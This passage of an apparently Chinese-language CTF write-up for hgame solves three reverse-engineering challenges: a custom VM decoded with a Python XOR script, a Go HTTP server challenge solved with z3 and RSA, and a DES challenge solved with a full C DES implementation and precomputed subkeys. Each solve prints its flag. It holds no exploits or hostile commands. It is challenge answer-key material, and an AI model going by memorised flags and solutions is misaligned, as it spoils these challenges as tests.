_1B:    mov [rbp+[2]], [3]
_1C:    inc [2]
_1D:    mov [3], [2]
_1E:    cmp [3], [5]
_1F:    jnz $+1+[6]

后面就是比较了,如果不相等就会直接从第一个 jnz 直接退出,否则会判断长度来看是否退出循环

_20:    push *(([4]++)+0xD1) ; 0
_21:    pop [2]
_22:    push *(([4]++)+0xD1) ; -17
_23:    push *(([4]++)+0xD1) ; 21

_24:    push *(([4]++)+0xD1) ; 142
_25:    pop [5] ; [5] = 142
_26:    mov [3], [rbp+[2]] ; [3]=142
_27:    cmp [3], [5] ; 0
_28:    pop [3]
_29:    push [3]
_2A:    pop [6] ; 21
_2B:    jnz $+1+[6]

_2C:    pop [6] ; -17
_2D:    pop [5]
_2E:    push [5]
_2F:    push [6]
_30:    push [3]
_31:    inc [2]
_32:    mov [3], [2]
_33:    cmp [3], [5]
_34:    jnz $+1+[6]

最后一段没有看了,putchar() 显然是输出正确信息

脚本

from operator import xor


xor_list = [0x5E, 0x46, 0x61, 0x43, 0x0E, 0x53, 0x49, 0x1F, 0x51, 0x5E, 0x36, 0x37, 0x29, 0x41, 0x63, 0x3B, 0x64, 0x3B, 0x15, 0x18, 0x5B, 0x3E, 0x22, 0x50, 0x46, 0x5E, 0x35, 0x4E, 0x43, 0x23, 0x60, 0x3B]

cipher = [0x8E, 0x88, 0x0A3, 0x99, 0x0C4, 0x0A5, 0x0C3, 0x0DD, 0x19, 0x0EC, 0x6C, 0x9B, 0x0F3, 0x1B, 0x8B, 0x5B, 0x3E, 0x9B, 0x0F1, 0x86, 0x0F3, 0x0F4, 0x0A4, 0x0F8, 0x0F8, 0x98, 0x0AB, 0x86, 0x89, 0x61, 0x22, 0xC1]

for x, c in zip(xor_list, cipher):
    print (chr((c ^ x) // 2), end='')
# hgame{Ea$Y-Vm-t0-PrOTeCT_cOde!!}

[RE]server

下断点,浏览器输入 localhost:9090?flag=hgame{} 就能断住,然后就是慢慢调试了

rsa 部分用的 math/big 库中的东西,还是比较容易识别的(go 还是看汇编舒服)

随后就是两个循环的异或了,这里用 z3 解的,所以逻辑直接看代码就行

from libnum import *
from z3 import *

flag = [BitVec('f%i' % i, 8) for i in range(153)]
s = Solver()

c = 0x66
flag2 = []
for i in range(153):
    v16 = flag[i]
    flag2.append(v16 ^ c)
    c = v16

for i in range(153):
    v18 = flag2[i]
    flag2[i] = v18 ^ c
    c = v18

cipher = [
    99, 85, 4, 3, 5, 5, 5, 3, 7, 7, 2, 8, 8, 11, 1, 2, 10, 4, 2, 13, 
    8, 9, 12, 9, 4, 13, 8, 0, 14, 0, 15, 13, 14, 10, 2, 2, 1, 7, 3, 
    5, 6, 4, 6, 7, 6, 2, 2, 5, 3, 3, 9, 6, 0, 11, 13, 11, 0, 2, 3, 8, 
    3, 11, 7, 1, 11, 5, 14, 5, 0, 10, 14, 15, 13, 7, 13, 7, 14, 1, 15,
    1, 11, 5, 6, 2, 12, 6, 10, 4, 1, 7, 4, 2, 6, 3, 6, 12, 5, 12, 3, 
    12, 6, 0, 4, 15, 2, 14, 7, 0, 14, 14, 12, 4, 3, 4, 2, 0, 0, 2, 6,
    2, 3, 6, 4, 4, 4, 7, 1, 2, 3, 9, 2, 12, 8, 1, 12, 3, 12, 2, 0, 3, 
    14, 3, 14, 12, 9, 1, 7, 15, 5, 7, 2, 2, 4
]

for i in range(153):
    s.add(flag2[i] == cipher[i])

for i in range(153):
    s.add(flag[i] >= ord('0'))
    s.add(flag[i] <= ord('9'))

s.check()
m = s.model()
for i in flag:
    print (chr(m[i].as_long()), end='')
# 135005562109829034199059149474896341566307600227148289525068532297727897409776873250963225670468340868270979975367474527115512003915945795967599087720024

M = 92582184765240663364795767694262273105045150785272129481762171937885924776597
N = 107310528658039985708896636559112400334262005367649176746429531274300859498993

t = M * N
e = 950501
phi = (M - 1) * (N - 1)

n2s(pow(135005562109829034199059149474896341566307600227148289525068532297727897409776873250963225670468340868270979975367474527115512003915945795967599087720024, invmod(e, phi), t))
# b'hgame{g0_and_g0_http_5erv3r_nb}'

[RE]WOW

这题几乎和天堂之门没关系,主要是把密钥隐藏了,运算之后应该是 12345678,但也可以直接用 windbg 动调拿到轮密钥

通过置换函数+明显的常数特征判断是 DES,直接解密就行

网上抄了份 DES,改一改就行

solve.c

#include <stdlib.h>
#include <stdio.h>
#include "bool.h"
#include "tables.h"

void BitsCopy(bool *DatOut,bool *DatIn,int Len);

void ByteToBit(bool *DatOut,char *DatIn,int Num);
void BitToByte(char *DatOut,bool *DatIn,int Num);

void BitToHex(char *DatOut,bool *DatIn,int Num);
void HexToBit(bool *DatOut,char *DatIn,int Num);

void TablePermute(bool *DatOut,bool *DatIn,const char *Table,int Num);
void LoopMove(bool *DatIn,int Len,int Num);
void Xor(bool *DatA,bool *DatB,int Num);

void S_Change(bool DatOut[32],bool DatIn[48]);
void F_Change(bool DatIn[32],bool DatKi[48]);

void SetKey(char KeyIn[8]);
void PlayDes(char MesOut[8],char MesIn[8]);
void KickDes(char MesOut[8],char MesIn[8]);


int main() {
    char MesHex[64]={"92028926CF6497655A09A46F3A079DB14320B10556683353BB5AF969BBB23EA2"};         // 16个字符数组用于存放 64位16进制的密文
    char MyMessage[32]={0};
    
    KickDes(MyMessage,MesHex);
    KickDes(MyMessage+8,MesHex+16);
    KickDes(MyMessage+16,MesHex+32);
    KickDes(MyMessage+24,MesHex+48);
    
    printf("Deciphering Over !!:\n");
    for(int i = 0; i < 32; i++) {
        printf("%c", MyMessage[i]);
    }
    printf("\n");
    system("pause");
}

void BitsCopy(bool *DatOut,bool *DatIn,int Len) {
    for(int i=0; i < Len; i++) {
        DatOut[i] = DatIn[i];
    }
}

void ByteToBit(bool *DatOut,char *DatIn,int Num) {
    for(int i = 0; i < Num; i++) {
        DatOut[i] = (DatIn[i / 8] >> (i % 8)) & 0x01;   
    }
}

void BitToByte(char *DatOut,bool *DatIn,int Num) {
    for(int i = 0; i < (Num / 8); i++) {
        DatOut[i] = 0;
    }
    for(int i = 0; i < Num; i++) {
        DatOut[i / 8] |= DatIn[i] << (i % 8);    
    }
}

void BitToHex(char *DatOut,bool *DatIn,int Num) {
    int i;
    for(i = 0; i < Num / 4; i++) {
        DatOut[i] = 0;
    }
    for(i = 0; i < Num / 4; i++) {
        DatOut[i] = DatIn[i * 4] + (DatIn[i * 4 + 1] << 1)
                    + (DatIn[i * 4 + 2] << 2) + (DatIn[i * 4 + 3] << 3);
        if((DatOut[i] % 16) > 9) {
            DatOut[i] = DatOut[i] % 16 + '7';
        }
        else {
            DatOut[i] = DatOut[i] % 16 + '0';
        }
    }
}

void HexToBit(bool *DatOut,char *DatIn,int Num) {
    for(int i = 0; i < Num; i++) {
        if((DatIn[i / 4]) > '9') {
            DatOut[i] = ((DatIn[i / 4] - '7') >> (i % 4)) & 0x01;               
        }
        else {
            DatOut[i] = ((DatIn[i / 4] - '0') >> (i % 4)) & 0x01;
        }
    }
}

void TablePermute(bool *DatOut,bool *DatIn,const char *Table,int Num) {
    static bool Temp[256] = {0};
    for(int i = 0; i < Num; i++) {
        Temp[i] = DatIn[Table[i] - 1];
    }
    BitsCopy(DatOut, Temp, Num);
} 

void LoopMove(bool *DatIn,int Len,int Num) {
    static bool Temp[256]={0};
    BitsCopy(Temp,DatIn,Num);
    BitsCopy(DatIn,DatIn+Num,Len-Num);
    BitsCopy(DatIn+Len-Num,Temp,Num);
}

void Xor(bool *DatA,bool *DatB,int Num) {
    for(int i = 0; i < Num; i++) {
        DatA[i] = DatA[i] ^ DatB[i];
    }
}

void S_Change(bool DatOut[32],bool DatIn[48]) {
    int i,X,Y;
    for(i = 0, Y = 0, X = 0; i < 8; i++, DatIn += 6, DatOut += 4) {
        Y=(DatIn[0] << 1) + DatIn[5];
        X=(DatIn[1] << 3) + (DatIn[2] << 2) + (DatIn[3] << 1) + DatIn[4];
        int v9 = S_Box[i][Y][X];
        for(int j = 3; j >= 0; j--) {
            DatOut[j] = v9 % 2;
            v9 /= 2;   
        }         
    }
}

void F_Change(bool DatIn[32],bool DatKi[48]) {
    static bool MiR[48]={0};
    TablePermute(MiR,DatIn,E_Table,48);
    Xor(MiR,DatKi,48);
    S_Change(DatIn,MiR);
    TablePermute(DatIn,DatIn,P_Table,32);
}

void SetKey(char KeyIn[8]) {
    static bool KeyBit[64] = {0};
    static bool *KiL = &KeyBit[0], *KiR = &KeyBit[28];
    ByteToBit(KeyBit, KeyIn, 64);
    TablePermute(KeyBit, KeyBit, PC1_Table, 56);
    for(int i = 0; i < 16; i++) {
        LoopMove(KiL, 28, Move_Table[i]);
        LoopMove(KiR, 28, Move_Table[i]);
        TablePermute(SubKey[i], KeyBit, PC2_Table, 48); 
    }        
}

void PlayDes(char MesOut[8],char MesIn[8]) {
    int i;
    static bool MesBit[64] = {0};
    static bool Temp[32] = {0};
    static bool *MiL = &MesBit[0], *MiR = &MesBit[32];
    ByteToBit(MesBit, MesIn, 64);
    TablePermute(MesBit, MesBit, IP_Table, 64);
    for (i = 0; i < 64; i++) {
        printf("%d ", MesBit[i]);
    }
    printf("\n");
    for(i = 0; i < 16; i++) {
        BitsCopy(Temp, MiR, 32);
        F_Change(MiR, SubKey[i]);
        Xor(MiR, MiL, 32);
        BitsCopy(MiL, Temp, 32);
        for (int j = 0; j < 64; j++){
            printf("%d ", MesBit[j]);
        }
        printf("\n");
    }
    for(i = 0; i < 32; i++) {
        int tmp = MesBit[i];
        MesBit[i] = MesBit[i + 32];
        MesBit[i + 32] = tmp;
    }
    TablePermute(MesBit, MesBit, IPR_Table, 64);
    for (i = 0; i < 64; i++){
        printf("%d ", MesBit[i]);
    }
    BitToHex(MesOut,MesBit,64);
}

void KickDes(char MesOut[8],char MesIn[8]) {
    int i;
    static bool MesBit[64] = {0};
    static bool Temp[32] = {0};
    static bool *MiL = &MesBit[0], *MiR = &MesBit[32];
    HexToBit(MesBit, MesIn, 64);
    TablePermute(MesBit, MesBit, IP_Table, 64);
    for (i = 0; i < 32; i++) {
        int tmp = MesBit[i];
        MesBit[i] = MesBit[i + 32];
        MesBit[i + 32] = tmp;
    }
    for(i = 15; i >= 0; i--) {
        BitsCopy(Temp, MiL, 32);
        F_Change(MiL, SubKey[i]);
        Xor(MiL, MiR, 32);
        BitsCopy(MiR, Temp, 32);
    }    
    TablePermute(MesBit, MesBit, IPR_Table, 64);
    for (i = 0; i < 64; i++){
        printf("%d ", MesBit[i]);
    }
    BitToByte(MesOut, MesBit, 64);        
}

bool.h,我的评价是不如直接上 c++

#ifndef __BOOL_H__
#define __BOOL_H__

typedef enum
  {
    false = 0,
    true  = 1
  } bool;

#endif

tables.h,之前找到的文件有几处与题目中不同,不知道是作者写错了还是题目改数了,直接把算好的 subkey 填到这里,就不用再输入密钥算了

#ifndef _TABLES_H_
#define _TABLES_H_  

const char IP_Table[64]={             
	58,50,42,34,26,18,10, 2,60,52,44,36,28,20,12, 4,
	62,54,46,38,30,22,14, 6,64,56,48,40,32,24,16, 8,
	57,49,41,33,25,17, 9, 1,59,51,43,35,27,19,11, 3,
	61,53,45,37,29,21,13, 5,63,55,47,39,31,23,15, 7 
};

const char IPR_Table[64]={              
	40, 8,48,16,56,24,64,32,39, 7,47,15,55,23,63,31,
	38, 6,46,14,54,22,62,30,37, 5,45,13,53,21,61,29,
	36, 4,44,12,52,20,60,28,35, 3,43,11,51,19,59,27,
	34, 2,42,10,50,18,58,26,33, 1,41, 9,49,17,57,25	
};

static char E_Table[48]={
	32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9,
	 8, 9,10,11,12,13,12,13,14,15,16,17,
    16,17,18,19,20,21,20,21,22,23,24,25,
    24,25,26,27,28,29,28,29,30,31,32, 1
};

static char PC1_Table[56]={
	57,49,41,33,25,17, 9, 1,58,50,42,34,26,18,
	10, 2,59,51,43,35,27,19,11, 3,60,52,44,36,
	63,55,47,39,31,23,15, 7,62,54,46,38,30,22,
	14, 6,61,53,45,37,29,21,13, 5,28,20,12, 4
};

static char Move_Table[16]={
	 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};

static char PC2_Table[48]={
	14,17,11,24, 1, 5, 3,28,15, 6,21,10,
	23,19,12, 4,26, 8,16, 7,27,20,13, 2,
	41,52,31,37,47,55,30,40,51,45,33,48,
	44,49,39,56,34,53,46,42,50,36,29,32	
};

static char S_Box[8][4][16]={
	//S1
	14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7,
	 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8,
	 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0,
	15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13,
	//S2
	15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10,
	 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5,
	 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15,
	13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9,
	//S3
	10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8,
	13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1,
	13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7,
	 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12,
	//S4
	 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15,
	13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9,
	10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4,
	 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14,
	//S5
	 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9,
	14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6,
	 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14,
	11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3,
	//S6
	12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11,
	10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8,
	 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6,
   	 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13,
	//S7
	 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1,
	13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6,
	 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2,
	 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12,
	//S8
	13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7,
	 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2,
	 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8,
	 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11
};

static char P_Table[32]={
	16, 7,20,21,29,12,28,17, 1,15,23,26, 5,18,31,10,
	 2, 8,24,14,32,27, 3, 9,19,13,30, 6,22,11, 4,25
};

static bool SubKey[16][48]={
	1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0,
	0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1,
	1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0,
	
	0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1,
	0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1,
	0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0,
	
	1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1,
	1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1,
	0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0,
	
	1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1,
	1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1,
	0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1,
	
	0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0,
	1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1,
	0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1,
	
	0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1,
	1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1,
	0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1,
	
	0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0,
	1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1,
	0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1,
	
	0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1,
	0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0,
	1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1,
	
	0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1,
	0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0,
	1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1,
	
	0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1,
	1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0,
	1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1,
	
	0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0,
	0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0,
	1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1,
	
	0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1,
	1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0,
	1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0,
	
	0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0,
	1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0,
	1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0,
	
	1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0,
	0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1,
	1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0,
	
	0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0,
	1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1,
	1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0,
	
	1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1,
	0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1,
	1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0
};

#endif
Built with Hugo
Theme Stack designed by Jimmy